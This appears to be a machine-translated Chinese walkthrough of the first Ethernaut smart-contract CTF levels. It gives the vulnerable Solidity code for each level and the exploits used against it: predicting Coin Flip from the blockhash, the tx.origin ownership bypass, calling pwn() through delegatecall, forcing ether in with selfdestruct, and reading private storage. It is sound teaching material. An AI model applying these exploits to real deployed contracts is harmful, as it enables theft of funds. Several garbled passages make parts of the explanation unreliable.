Ethernaut是一个类似CTF的智能合同平台,它整合了许多与合同有关的智能安全问题,是安全审计员的一个非常好的学习平台,将用来学习与合同有关的智能安全问题,并将与两篇文章分享,因为与合同有关的批准数量减少,与合同有关的分析长度缩短,以及袭击过程的演示。
平台地址:https://ethernaut.zeppelin.collitions
铬浏览器
插件 - MetaMask (https://metamask.io/)
在MetaMask调整网络以测试网络,然后用ETH充电其钱包地址。
浏览器控制台
在整个 Ethernaut 平台练习期间, 我们需要输入一系列命令, 通过 Chrame 浏览器与合同互动, 我们可以直接按 F12 在 Chrame 浏览器中, 然后选择控制器模块打开浏览器控制器, 并查看相关信息 :
具体互动取决于具体情况,例如:
当您在控件中输入“玩家”时,您可以看到玩家的地址信息(当您希望Ethernaut与MetaMask互动时):
当输入getBlance( 玩家) 时当前玩家的 Eth 平衡
如果您想要在控件表格中看到其他功能,请输入“help”用于查看。
以太的合同
在主控台输入“ Ethernaut ” 以查看当前 Etherno 合同的所有可用功能 :
每一函数的引用可以通过添加 ". " 来实现(这也可以用作一个对象的示例):
获取级别示例
点击「获得新机会」就可以获得一个关卡的示例 :
Hello Ethernaut
喂,Ethernaut, 目的是让玩家熟悉范围操作(控制表的交互作用、MetaMask的交互作用等),可以一步一步地完成。
首先点击“ 获取新实例” 来获得一个关卡的示例 :
返回交易确认后的一个互动合同地址:
然后根据提示在控制表格中输入下列说明:
await contract.info()
"You will find what you need in info1()."
await contract.info1()
"Try info2(), but with "hello" as a parameter."
await contract.info2("hello")
"The property infoNum holds the number of the next info method to call."
await contract.infoNum()
42
await contract.info42()
"theMethodName is the name of the next method."
await contract.theMethodName()
"The method name is method7123949."
await contract.method7123949()
"If you know the password, submit it to authenticate()."
await contract.password()
"ethernaut0"
await contract.authenticate("ethernaut0")
然后,当合同交互完成时,单击“提交机会”提交答案,并获得当前水平的源代码:
交易完成后,请提示完成水平 :
并给出源代码如下:
pragma solidity ^0.4.18;
contract Instance {
string public password;
uint8 public infoNum =42;
string public theMethodName ='The method name is method7123949.';
bool private cleared =false;
// constructor
function Instance(string _password) public {
password =_password;
}
function info() public pure returns (string) {
return 'You will find what you need in info1().';
}
function info1() public pure returns (string) {
return 'Try info2(), but with "hello" as a parameter.';
}
function info2(string param) public pure returns (string) {
if(keccak256(param) ==keccak256('hello')) {
return 'The property infoNum holds the number of the next info method to call.';
}
return 'Wrong parameter.';
}
function info42() public pure returns (string) {
return 'theMethodName is the name of the next method.';
}
function method7123949() public pure returns (string) {
return 'If you know the password, submit it to authenticate().';
}
function authenticate(string passkey) public {
if(keccak256(passkey) ==keccak256(password)) {
cleared =true;
}
}
function getCleared() public view returns (bool) {
return cleared;
}
}
从源代码可以看出,这个级别实际上是一系列功能 呼叫和传递操作, 事实上是让玩家熟悉控制台和MetaMask的使用情况, 并互相互动!
Fallback
中断清除要求
我会是合同的主人
减少余额至0
合同守则
pragma solidity ^0.4.18;
import 'zeppelin-solidity/contracts/ownership/Ownable.sol';
import 'openzeppelin-solidity/contracts/math/SafeMath.sol';
/ 从可拥有性继承的退货合同
contract Fallback is Ownable {
using SafeMath for uint256;
mapping(address => uint) public contributions;
/ 初始化贡献方的构造函数值为 1000 theth
function Fallback() public {
contributions[msg.sender] =1000 * (1 ether);
}
将合同所有人交给最高出资人,这意味着你必须缴纳1000多埃克思特才能成为合同所有人。
function contribute() public payable {
require(msg.value < 0.001 ether);
contributions[msg.sender] =contributions[msg.sender].add(msg.value);
if(contributions[msg.sender] > contributions[owner]) {
owner =msg.sender;
}
}
获取请求人捐款的价值
function getContribution() public view returns (uint) {
return contributions[msg.sender];
}
// 扭曲功能,与业主的修饰器,只能由合同所有人调用。
function withdraw() public onlyOwner {
owner.transfer(this.balance);
}
// 后退功能以接收用户发送到合同的标记
function() payable public {
(msg.value > 0 & & spisions[msg.sender] > 0) /确定转让的资金和捐款者是否在合同中捐款超过0
owner =msg.sender;
}
}
合同分析
来源代码使我们能够理解改变合同所有人可以通过以下两种方式实现:
1. 1,000 ETH对合同所有人的贡献(虽然在测试网络中,我们可以不断申请测试ethth,但显然不现实的是,由于每笔捐款不足0.001,需要1,000/001才能完成每项捐款)
2. 调用后备()功能
显然,我们需要第二条路 才能找到合同所有人, 有两个方法可以触发后备()功能:
没有符合给定函数标识符的其他函数
合同是否接受每合同纯纯,无数据(例如转让功能)
因此我们可以调用传输功能“ 等待合同. send Transmission”, 或者使用 matemask 的传输功能( 注意传输地址是合同地址, 即实例地址) 来触发回溯( ) 功能 。
所以,当我们在这里分析它时,理论上我们可以找到合同所有人, 那么我们如何从合同中移出? 显然,答案是 -- 调用撤销功能来完成它。
攻击过程
合同贡献({价值:) / 最先使贡献值大于0
项目。 发送交易 ({价值: ) / / 触发后退函数
/// 清关合同
让我们先点击“ 获取新实例” 来获得一个示例 :
然后我们开始彼此互动, 首先在合同地址查看总资产, 然后把它们转移到1wei
交易完成后, 成功更改余额 :
调用发件人Transaaction 函数并获取合同所有人, 触发后退功能 :
交易完成后,我们查看了合同所有人,发现合同已成功转变为我们自己的地址:
然后,我要求撤回 转让所有契约 合同的标牌。
然后点击“ 提交机会” 完成分解 :
Fallout
中断清除要求
获得合同所有人特权
合同守则
pragma solidity ^0.4.18;
import 'zeppelin-solidity/contracts/ownership/Ownable.sol';
import 'openzeppelin-solidity/contracts/math/SafeMath.sol';
contract Fallout is Ownable {
using SafeMath for uint256;
mapping (address => uint) allocations;
function Fal1out() public payable {
owner =msg.sender;
allocations[owner] =msg.value;
}
function allocate() public payable {
allocations[msg.sender] =allocations[msg.sender].add(msg.value);
}
function sendAllocation(address allocator) public {
require(allocations[allocator] > 0);
allocator.transfer(allocations[allocator]);
}
function collectAllocations() public onlyOwner {
msg.sender.transfer(this.balance);
}
function allocatorBalance(address allocator) public view returns (uint) {
return allocations[allocator];
}
}
合同分析
级别要求合同所有人,我们从上面的代码可以看出,不存在与前一级相类似的备份功能,也没有相关的后台转换功能,但在这里,我们发现一个致命错误——建筑功能名称与合同名称不符,不能使它成为公共类型的功能,也就是说,任何人都可以打电话,在施工功能中,功能呼叫者直接是合同所有人,因此我们可以将施工功能Fal1out调用,以获得合同的动力。
攻击过程
调用建筑功能 Fal1out 以获得合同的力量
点击“ 获取新实例” 获取示例 :
在此之后,看看目前的合同所有人,并将建筑功能称为取代所有人:
交易完成后,请再次看一看合同所有人,发现合同已经改变:
然后点击“提交机会”来提交答复:
Coin Flip
中断清除要求
这是一个抛硬币游戏, 您需要通过猜测抛硬币的结果来建立您的成功记录。 要完成这个水平, 您需要使用你的灵媒力量来连续猜10次正确的结果 。
合同守则
pragma solidity ^0.4.18;
import 'openzeppelin-solidity/contracts/math/SafeMath.sol';
contract CoinFlip {
using SafeMath for uint256;
uint256 public consecutiveWins;
uint256 lastHash;
uint256 FACTOR =57896044618658097711785492504343953926634992332820282019728792003956564819968;
function CoinFlip() public {
consecutiveWins =0;
}
function flip(bool _guess) public returns (bool) {
uint256 blockValue =uint256(block.blockhash(block.number.sub(1)));
if (lastHash ==blockValue) {
revert();
}
lastHash =blockValue;
uint256 coinFlip =blockValue.div(FACTOR);
bool side =coinFlip ==1 ? true : false;
if (side ==_guess) {
consecutiveWins++;
return true;
} else {
consecutiveWins =0;
return false;
}
}
}
合同分析
合同开始时界定了五分之二256类数据——连续的Wins、LastHash、Astrator——其中赋予Astrator非常大的价值,并审查了发现为2 600 255的数据。
然后定义 CoinFlip 是一个构造函数, 最初将我们的猜数对转换为零 。
随后的翻转函数先定义块Value, 即将前一个块的灰值转换为 viint256 类型, 区块。 数字是当前区块的数量, 然后检查 Lashash 是否等于 BlockValue, 是否同样返回, 并返回到预调状态 。 Lausthash 然后被指定一个块Value 值, 所以 Lusthash 代表上一个区块的灰 。
然后是硬币翻转,用来决定硬币的翻转。它取自BlockValue/FACTR。早些时候还提及,陶器实际上等于2,655;如果256的二进制版本为0,右键为1,我们的黑价为256,那么硬币翻转的价值取决于块价值是否等于1或0,换句话说,它等于其最高值,下面的代码很简单。
通过分析上面的代码,我们可以看到,硬币的逆转完全取决于前一个区块的散列值,这似乎是随机的,而且确实是随机的,但它也是可以预测的,因为一个区块中肯定没有单一的交易,所以我们可以首先运行算法,看看硬币翻转是1还是0,然后在目前的区块下选择相应的猜想,这是预选的结果。由于区块之间的间隔只有10秒左右,因此在指挥线下手工操作仍然有点困难,因此我们需要在链条上部署另一个合同来完成它,我们可以在部署时直接使用http://remix.etherium.org。
Exploit:
pragma solidity ^0.4.18;
contract CoinFlip {
uint256 public consecutiveWins;
uint256 lastHash;
uint256 FACTOR =57896044618658097711785492504343953926634992332820282019728792003956564819968;
function CoinFlip() public {
consecutiveWins =0;
}
function flip(bool _guess) public returns (bool) {
uint256 blockValue =uint256(block.blockhash(block.number-1));
if (lastHash ==blockValue) {
revert();
}
lastHash =blockValue;
uint256 coinFlip =blockValue/FACTOR;
bool side =coinFlip ==1 ? true : false;
if (side ==_guess) {
consecutiveWins++;
return true;
} else {
consecutiveWins =0;
return false;
}
}
}
contract exploit {
CoinFlip expFlip;
uint256 FACTOR =57896044618658097711785492504343953926634992332820282019728792003956564819968;
function exploit(address aimAddr) {
expFlip =CoinFlip(aimAddr);
}
function hack() public {
uint256 blockValue =uint256(block.blockhash(block.number-1));
uint256 coinFlip =uint256(uint256(blockValue) / FACTOR);
bool guess =coinFlip ==1 ? true : false;
expFlip.flip(guess);
}
}
攻击过程
点击“ 获取新实例” 以获得示例 :
然后得到合同的地址 和"自信的赢家"的价值:
然后我们再把合同汇编成混合体
合同随后使用上述合同地址重新混合部署:
此后,合同成功部署:
然后点击“回击”(至少有10次呼叫):
然后再次检查 ConsutioniveWins 的值, 直到提交超过 10 :
在此之后,请点击“提交机会”以提交示例:
之后,我们设法突破:
Telephone
中断清除要求
获得合同所有人特权
合同守则
pragma solidity ^0.4.18;
contract Telephone {
address public owner;
function Telephone() public {
owner =msg.sender;
}
function changeOwner(address _owner) public {
if (tx.origin !=msg.sender) {
owner =_owner;
}
}
}
合同分析
第一种是建筑功能,它将所有者指派给合同的创建者,将实际的建设功能作为一项规则来看待,并确定不存在任何问题。 下一个变更所有者功能检查 tx. 源和 msg.sender 是否相等,如果不同,则将所有者更新给新到的所有人。
Tx. Chirst and msg.sender(前者表示交易发件人,后者表示电文发件人)之间的差别是不同的,如果合同要求采用这种情形,但对于多种合同,例如用户通过合同A打电话,后者代表合同A,而tx.stex代表用户,而且很容易知道,与前一个主题一样,我们需要另外一份合同来称呼“变更所有人”:
Exploit:
pragma solidity ^0.4.18;
contract Telephone {
address public owner;
function Telephone() public {
owner =msg.sender;
}
function changeOwner(address _owner) public {
if (tx.origin !=msg.sender) {
owner =_owner;
}
}
}
contract exploit {
Telephone target =Telephone(your instance address);
function hack(){
target.changeOwner(msg.sender);
}
}
攻击过程
点击“ 获取新实例” 以获得示例 :
将联系人移至(_V)...
然后用上面的地址替换封号中的地址。最后的表达方式如下。
pragma solidity ^0.4.18;
contract Telephone {
address public owner;
function Telephone() public {
owner =msg.sender;
}
function changeOwner(address _owner) public {
if (tx.origin !=msg.sender) {
owner =_owner;
}
}
}
contract exploit {
Telephone target =Telephone(0x932b6c14f6dd1a055206b0784f7b38d2217d30e5);
function hack(){
target.changeOwner(msg.sender);
}
}
然后把合同拼凑成一团
部署合同
将联系人移至(_V)...
然后点击“返回”执行攻击:
然后我们再换合同
然后点击“ 提交机会” 来提交一个示例 :
Token
中断清除要求
玩家最初有20个代币, 试图黑进这个聪明的合同 以获得更多托肯!
合同守则
pragma solidity ^0.4.18;
contract Token {
mapping(address => uint) balances;
uint public totalSupply;
function Token(uint _initialSupply) public {
balances[msg.sender] =totalSupply =_initialSupply;
}
function transfer(address _to, uint _value) public returns (bool) {
require(balances[msg.sender] - _value >=0);
balances[msg.sender] -=_value;
balances[_to] +=_value;
return true;
}
function balanceOf(address _owner) public view returns (uint balance) {
return balances[_owner];
}
}
合同分析
这里的地图标记代表我们拥有的象征, 然后自定义的构造函数首字母为本地关卡, 虽然不知道有多少, 但以下的转移函数是一个转移操作, 底部平衡函数是对经常账户余额的查询 。
在对功能进行粗略审查后,我们将集中关注传输()功能。
function transfer(address _to, uint _value) public returns (bool) {
require(balances[msg.sender] - _value >=0);
balances[msg.sender] -=_value;
balances[_to] +=_value;
return true;
}
3⁄4 ̄ ̧漯B
因此,在目前这个专题下(名称最初转换为标题中的20个),21岁时会出现溢漏,导致价值增加2⁄256-1。
攻击过程
单击“ 获取新实例” 以获得示例
然后调用传输功能将货币更改到播放器的地址:
然后,当交易完成后,我们可以看到, 玩家的牌子数量将会变得非常不同, 正如我们以前所预料的:
然后我们点击“提交机会”来提交答案:
Delegation
中断清除要求
获得合同所有人特权。
合同守则
pragma solidity ^0.4.18;
contract Delegate {
address public owner;
function Delegate(address _owner) public {
owner =_owner;
}
function pwn() public {
owner =msg.sender;
}
}
contract Delegation {
address public owner;
Delegate delegate;
function Delegation(address _delegateAddress) public {
delegate =Delegate(_delegateAddress);
owner =msg.sender;
}
function() public {
if(delegate.delegatecall(msg.data)) {
this;
}
}
}
合同分析
我们在这里看到两个合同, 代表初始化时传到合同中的地址 被确定为合同的所有人, 而下一个pwn功能 已经吸引了我们的注意, 并且重要的是知道姓名。
下文所述代表团合同就是代表合同的例证。 代表合同的后备职能使用delegacall调用代表合同,而delegacall调用是问题的关键。
我们经常使用呼叫功能与合同互动,将数据发送到合同中。 当然,呼叫是一个较低的界面,我们常常将其包含在其他功能中,尽管性质相似。这里使用的代表呼叫和呼叫的主要区别是,在当前的合同环境中执行通过传呼呼叫的目标地址的代码,这意味着其功能实际上只在所呼吁的合同部分使用,因此,这一功能主要是为了便利使用其他地方存在的功能,也是将代码模块化的一种方法,但也很容易被销毁。
1. 呼叫外部呼叫是外部合同
外部在合同中要求传票。
3. Callcode () 实际上是前一版的代表调用 (), 两者都是通过将外部代号装入当前环境来执行的,但与 msg.sender 和 msg.value 的方向不同。
我们在此需要做的就是使用代表卡来调用授权合同的 pwn 函数, 其中包括 Cal 来指定调用功能的操作, 当第一个传给调用的参数是 4 字节时, 合同将假设这4 个函数是您调用的函数, 并且它会将调用函数的代号作为函数的代号, 而函数的代号是 sha3 中第一个四个字节, 其函数在单元格函数选择规则中签名 。 此函数前面是带有括号的参数类型列表的函数名称 。
在上文简要分析之后,问题变得简单,而Sha3可以通过Web3.sha3直接调用,也可以直接调用,在后退函数中调用,我们必须找到一个触发它的方法。正如已经提到的那样,有两种方法可以触发它,但在这里我们需要使用我们发送的数据,所以我们直接通过密封的TransaAction发送,这里我知道我们也可以用这个方法触发后退功能:
contract.sendTransaction({data:web3.sha3("pwn()").slice(0,10)});
攻击过程
点击“ 获取新实例” 以获得示例
然后调用 pwn 函数替换所有者, 在后退函数中由代表替换 :
然后点击“ 提交机会” 来提交答案 。
Force
中断清除要求
让我们让合同的保证 超过零。
合同守则
pragma solidity ^0.4.18;
contract Force {}
合同分析
一看一看,是什么?猫?没有相关的合同代码 在部队合同中。这是惊人的。
在查看资料后发现,我们可以强迫以太送交合同,而不论该合同是否必须收到,而合同是通过自毁功能完成的,正如其名称所显示的那样,该功能是一种自毁功能,当您调用该功能时,它将使合同无效并删除地址的字节号,然后它将合同中剩余的资金发送给参数中具体规定的地址,更具体地说,是后备功能,这将忽略合同,因为我们早些时候曾提到,当合同直接收到未披露的Eth时,后退功能将触发,但自毁功能将忽略这一点,这是很有意思的。
所以很简单,我们要做的就是 与一些Eth签订一份合同, 并通知自我毁灭者 将Eth送去我们的目标。
攻击过程
点击“ 获取新实例” 以获得示例 :
然后得到合同地址。
之后,签订了一项合同 省下一点Eth 进入 并调用自毁 将合同中的Eeth 发送到目标:
pragma solidity ^0.4.20;
contract Force {
function Force() public payable {}
function exploit(address _target) public {
selfdestruct(_target);
}
}
编写合同
部署合同
然后调用“ ForceSendEther () ” 函数并输入合同地址 :
交易成功后,再看看合同金额-“非零”
然后可以点击“submit 实例”来引用此案例:
Vault
中断清除要求
解锁用户 。
合同守则
pragma solidity ^0.4.18;
contract Vault {
bool public locked;
bytes32 private password;
function Vault(bytes32 _password) public {
locked =true;
password =_password;
}
function unlock(bytes32 _password) public {
if (password ==_password) {
locked =false;
}
}
}
合同分析
我们可以在代码中看到 我们需要它的密码 来调用解锁功能 来解锁合同, 我们注意到它被直接存储在密码中 在一开始, 尽管我们无法直接看到 因为它是私人的, 但我们需要知道它是在Etheria, 它是块链,它是透明的,数据是在块中, 所以我们可以直接得到它。
GetStorageAt 函数访问此功能, 使我们能够访问合同中状态变量的价值。 其两个参数中的第一个参数是合同地址, 第二个参数是变量的位置, 从0开始, 按变量的顺序排列, 加上一个, 但对于像绘图这样的复杂类型, 位置的价值并不那么简单 。
攻击过程
点击“ 获取新实例” 后获取新实例
然后在控制台下运行以下代码 :
web3.eth.getStorageAt(contract.address, 1, function(x, y) {alert(web3.toAscii(y))});
稍后解锁 :
然后单击“ 上交” 来提交答案 :
最后一项分析到此结束 下一份已经准备好了 很快就好了
参考参考资料
https://paper.seebug.org/624/
https://remix.readthedocs.io/en/latest/
https://ethfans.org/ajian1984/articles/33425
https://github.com/OpenZeppelin/openzeppelin-contracts
https://www.bubbles966.cn/blog/2018/05/05/analyse_dapp_by_ethernaut/
http://rickgray.me/2018/05/17/ethereum-smart-contracts-vulnerabilites-review/
http://rickgray.me/2018/05/26/ethereum-smart-contracts-vulnerabilities-review-part2/
注册有任何问题请添加 微信:MVIP619 拉你进入群
打开微信扫一扫
添加客服
进入交流群
发表评论